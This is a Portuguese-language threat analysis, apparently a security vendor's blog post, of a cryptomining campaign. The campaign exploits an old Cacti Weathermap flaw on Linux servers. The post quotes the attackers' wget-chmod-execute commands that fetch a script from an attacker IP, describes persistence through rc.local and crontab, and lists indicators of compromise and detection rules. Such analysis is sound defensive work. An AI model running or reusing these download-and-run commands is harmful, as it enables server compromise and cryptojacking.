Minerador de criptomoedas é distribuído através da vulnerabilidade PHP Weathermap e ataca servidores Linux

Operações de mineração de criptomoedas legítimas e em grande escala muitas vezes investem em hardware dedicados e consumo de energia elétrica para obter lucro. Isso não foge à atenção dos cibercriminosos: a mineração maliciosa de criptomoedas foi tão abrangente no ano passado que se tornou o evento com o maior número de detecções em dispositivos conectados à roteadores domésticos.

Através do nosso monitoramento de tratamento de incidentes pudemos observar tentativas de invasão cujos indicadores conseguimos correlacionar a uma campanha anterior de mineração de criptomoedas que usava o malware JenkinsMiner. A diferença: essa campanha é focada em servidores Linux. É também um caso clássico de reutilização de vulnerabilidades, pois explora uma falha de segurança bem antiga, cuja correção está disponível há quase cinco anos.

Tentativas de invasão de rede observadas a partir da campanha de mineração de criptomoedas (De dezembro de 2017 a meados de março de 2018)
Distribuição por país da campanha maliciosa de mineração de criptomoedas

Análise da cadeia de ataque
Os operadores dessa campanha exploravam a CVE-2013-2618, uma vulnerabilidade antiga no plug-in Network Weathermap do Cacti, que os administradores de sistema usam para visualizar a atividade de rede. Com relação ao motivo que os leva a explorar uma falha de segurança antiga: O Network Weathermap tem apenas duas vulnerabilidades reportadas publicamente até o momento, ambas em junho de 2014. É possível que esses criminosos se aproveitem não apenas de uma falha de segurança com um exploit prontamente disponível, mas também da demora para aplicar as correções  em organizações que usam a ferramenta de código aberto.


Indicadores de ameaça mostrando como a vulnerabilidade do Weathermap é explorada

Como visto acima, podemos constatar que:

  1. A parte desfocada é o servidor/entrada web do alvo.
  2. O arquivo /plugins/weathermap/configs/conn.php php é o arquivo persistente , resultante do cross-site scripting (XSS) no /plugins/weathermap/php.
  3. Os alvos ideais são servidores web do Linux (embora o Cacti e o plug-in também possam ser instalados no Windows).

Além do conn.php inicial, observamos uma solicitação HTTP similar em uma página denominada ‘cools.php’:

Um pedido HTTP semelhante ao cools.php

Como visto acima, os comandos abaixo seriam executados:

  • wget watchd0g.sh hxxp://222[.]184[.]]79[.]11:5317/watchd0g[.]sh
    //baixa o arquivo através do wget, uma ferramenta padrão na maioria dos sistemas Linux
  • chmod 775 watchd0g.sh
    // torna o arquivo executável
  • ./watchd0g.sh
    // por fim, torna o arquivo executável

O arquivo watchd0g.sh inclui o seguinte código:

Print de código de watchd0g.sh

O código é escrito em /etc/rc.local, o que significa que toda vez que um sistema é reiniciado, o watchd0g.sh é executado. A alteração do /etc/crontab faz com que o watchd0g.sh seja executado a cada três minutos. Em seguida, ele altera o parâmetro do kernel do Linux vm.nr_hugepages para o valor recomendado para mineração do Monero (XMR). Além disso, ele também se certifica de que o processo do watchd0g.sh seja executado, baixe e execute novamente o arquivo, caso seja fechado.

Seu principal objetivo é baixar outro arquivo, dada.x86_64, (detectado pela Trend Micro como COINMINER_MALXMR.SM-ELF64) do mesmo servidor em que o watchd0g.sh foi recuperado.

Análise do minerador XMRig do Linux
O payload final (dada.x86_64 em 28 de janeiro de 2018, antes conhecida como xig ou nkrb) é um minerador XMRig modificado. O XMRig é um minerador XMR legítimo e de código aberto com várias versões atualizadas que suporta os sistemas operacionais Windows e Linux de 32 bits e 64 bits. O XMRig exibe o seguinte código quando executado através da linha de comando:

dada.x86_64 executado via linha de comando

O XMRig deve ser executado junto com um arquivo de configuração chamado ‘config.json’, ou com parâmetros que especificam/exigem detalhes como o algoritmo a ser usado (CryptoNight/CryptoNight-Lite), o uso máximo da CPU, o servidor de mineração e as credenciais de login (carteira e senha do Monero). As amostras usadas neste ataque foram modificadas para tornar a configuração ou os parâmetros desnecessários. Tudo já está embutido no código. A linha de comando também não aparece na maioria das amostras.

Parameters supposedly specified/required by the miner

Seguindo as pegadas do Monero
Reunimos cinco amostras possíveis que nos levaram a dois nomes exclusivos de login de usuários, correspondentes à carteira do Monero para as quais os pagamentos do pool de mineração são enviados.

Os atacantes mineraram cerca de 320 XMR ou cerca de US$74.677 (em 21 de março de 2018) com base nas duas carteiras. Tenha em mente que isso é apenas uma pequena parte do lucro de toda esta campanha. Os relatórios anteriores da mesma campanha revelaram US$3 milhões de XMR de uma única carteira do Monero.

Conclusão e mitigação
A cadeia de ataque da campanha requer o seguinte:

  • Um servidor da Web executando o Linux (x86-64), considerando os ELFs personalizados do Minerador XMRig de 64 bits.
  • O servidor da web deve estar publicamente acessível
  • O Cacti (uma ferramenta de monitoramento de rede e de código aberto com base na web) precisou ser implementado com o Plugin Architecture em funcionamento e com um Network Weathermap desatualizado (0.97a e versões anteriores)
  • O servidor Web que hospeda o Cacti não requer autenticação para acessar o recurso do site
  • Para uma execução perfeita, o servidor web deve executar permissões ‘root’ (ou equivalentes) (alguns dos comandos em sh precisam de privilégios de root)

Esses dois primeiros requisitos são comuns, mas os três últimos nem tanto. Por que alguém compartilharia os dados de rede publicamente (Cacti)? O servidor da web é realmente executado como ‘root’?

Os dados do Cacti devem ser armazenados devidamente e de forma interna no ambiente. A exposição desses dados representa um enorme risco em termos de segurança operacional. Embora isso permita que os administradores de sistema ou de rede monitorem seus ambientes de forma conveniente (com apenas um marcador de navegador, por exemplo), ele também faz o mesmo com os agentes de ameaça. Há alternativas que fazem a mesma coisa, mas são necessárias contramedidas para reforçar e proteger os sistemas contra falhas de segurança ou exploração. Claro que manter os sistemas atualizados com as correções mais recentes (ou usando correções virtuais para sistemas/redes legados) também pode dificultar ainda mais os potenciais ataques.

Uma estratégia proativa de tratamento de incidentes, incluindo buscar e tratar ativamente ameaças também ajuda a fornecer mais visibilidade aos ataques que poderiam ser ignorados por soluções tradicionais de segurança. Identificar as técnicas também ajuda as organizações com inteligência acionável que pode ajudar a criar benchmarks mais fortes para o tratamento.

O Trend Micro™ Deep Discovery™ fornece uma detecção e análise profunda e tratamento proativo de ataques que usam exploits e outras ameaças similares através de ferramentas especializadas e personalizadas de sandboxing e uma correlação perfeita durante todo o ciclo de vida do ataque, possibilitando a detecção desses ataques mesmo sem qualquer atualização do mecanismo ou padrão. O Trend Micro™ Deep Discovery Inspector™ protege os clientes contra esse ataque por meio dessas regras de DDI:

  • Regra DDI ID 2452: Wget Commandline Injection

O Trend Micro™ Deep Security e o Vulnerability Protection protege usuários contra ameaças que visam essas vulnerabilidades (ou usam ataques de XSS) através das seguintes regras de DPI:

  • 1005934 – Ataque Identificado de Injeção de Comando Suspeito
  • 1006823 – Ataque Identificado de Injeção de Comando Suspeito – 1
  • 1000552 – Prevenção Genérica de Cross Site Scripting (XSS)

Os clientes do Trend Micro™ TippingPoint™ são protegidos dessa ameaça através do filtro MainlineDV:

  • 3886: HTTP: Cross Site Scripting na Solicitação POST

 

Indicadores de Falha de Segurança
A Trend Micro também identificou os seguintes endereços IP perpetrando o ataque. No entanto, a natureza das máquinas indica que podem ser controladas remotamente, portanto, não valeria a pena incluí-las em listas de controlo (blacklisting). Nossa pesquisa também nos levou a uma possível ferramenta escrita em Python que foi usada nesta campanha, usando o agente de usuário HTTP ‘python-requests/2.18.4’.

Hashes Relacionados:

SHA256 Descrição
4a70da8ad6432d7aa639e6c5
e0c03958eebb3728ef89e74c
028807dd5d68e2b4
Bourne-Again shell script ASCII text executable
0adadc3799d06b35465107f9
8c07bd7eef5cb842b2cf09eba
eaa3773c1f02343
ELF de 64 bits com LSB executável x86-64 versão 1 (GNU/Linux)
intérprete vinculado dinamicamente /lib64/ld-linux-x86-64.so.2 para
GNU/Linux 2.6.32
BuildID[sha1]=7b9059fbf5f223af2bf1d
83251d640e0f60bbe00 stripped
d814bf38f5cf7a58c3469d530
d83106c4fc7653b6be079fc2a
6f73a36b1b35c6
ELF de 64 bits com LSB executável x86-64 versão 1 (GNU/Linux)
intérprete vinculado dinamicamente /lib64/ld-linux-x86-64.so.2 para
GNU/Linux 2.6.32
BuildID[sha1]=5722b052bfd047b57ec37
10dd948bfc9ee7d7316 stripped
7f30ea52b09d6d9298f4f30b8
045b77c2e422aeeb84541bb5
83118be2425d335
ELF de 64 bits com LSB executável x86-64 versão 1 (GNU/Linux) intérprete vinculado dinamicamente
/lib64/ld-linux-x86-64.so.2 para GNU/Linux 2.6.32
BuildID[sha1]=9bc00ee0d5261d8bb29
b753b8436a1c54bd19c94 stripped
690aea53dae908c9afa933d6
0f467a17ec5f72463988eb5af
5956c6cb301455b
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV)
intérprete vinculado dinamicamente /lib64/ld-linux-x86-
64.so.2 para GNU/Linux 2.6.18 stripped
1155fae112da3072d116f39e9
0f6af5430f44f78638db3f43a6
2a9037baa8333
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV)
intérprete vinculado dinamicamente /lib64/ld-linux-x86-
64.so.2 para GNU/Linux 2.6.18 stripped
2c7b1707564fb4b228558526
163249a059cf5e90a6e946be
152089f0b69e4025
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV)
intérprete vinculado dinamicamente /lib64/ld-linux-x86-
64.so.2 para GNU/Linux 2.6.18 stripped
48cf0f374bc3add6e3f73f6db4
66f9b62556b49a9f7abbcce06
8ea6fb79baa04
ELF de 64 bits com LSB executável x86-64 versão 1 (SYSV)
intérprete vinculado dinamicamente /lib64/ld-linux-x86-
64.so.2 para GNU/Linux 2.6.18 stripped


Endereços de IP e URLs relacionados ao Minerador XMRig malicioso/modificado:

  • 222[.]184[.]79[.]11
  • bbc[.]servehalflife[.]com
  • 190[.]60[.]206[.]11
  • 182[.]18[.]8[.]69
  • jbos[.]7766[.]org
  • 115[.]231[.]218[.]38

Atualizado em 21 de março de 2018, às 17h50, PDT, para incluir dados atualizados na Figura 2.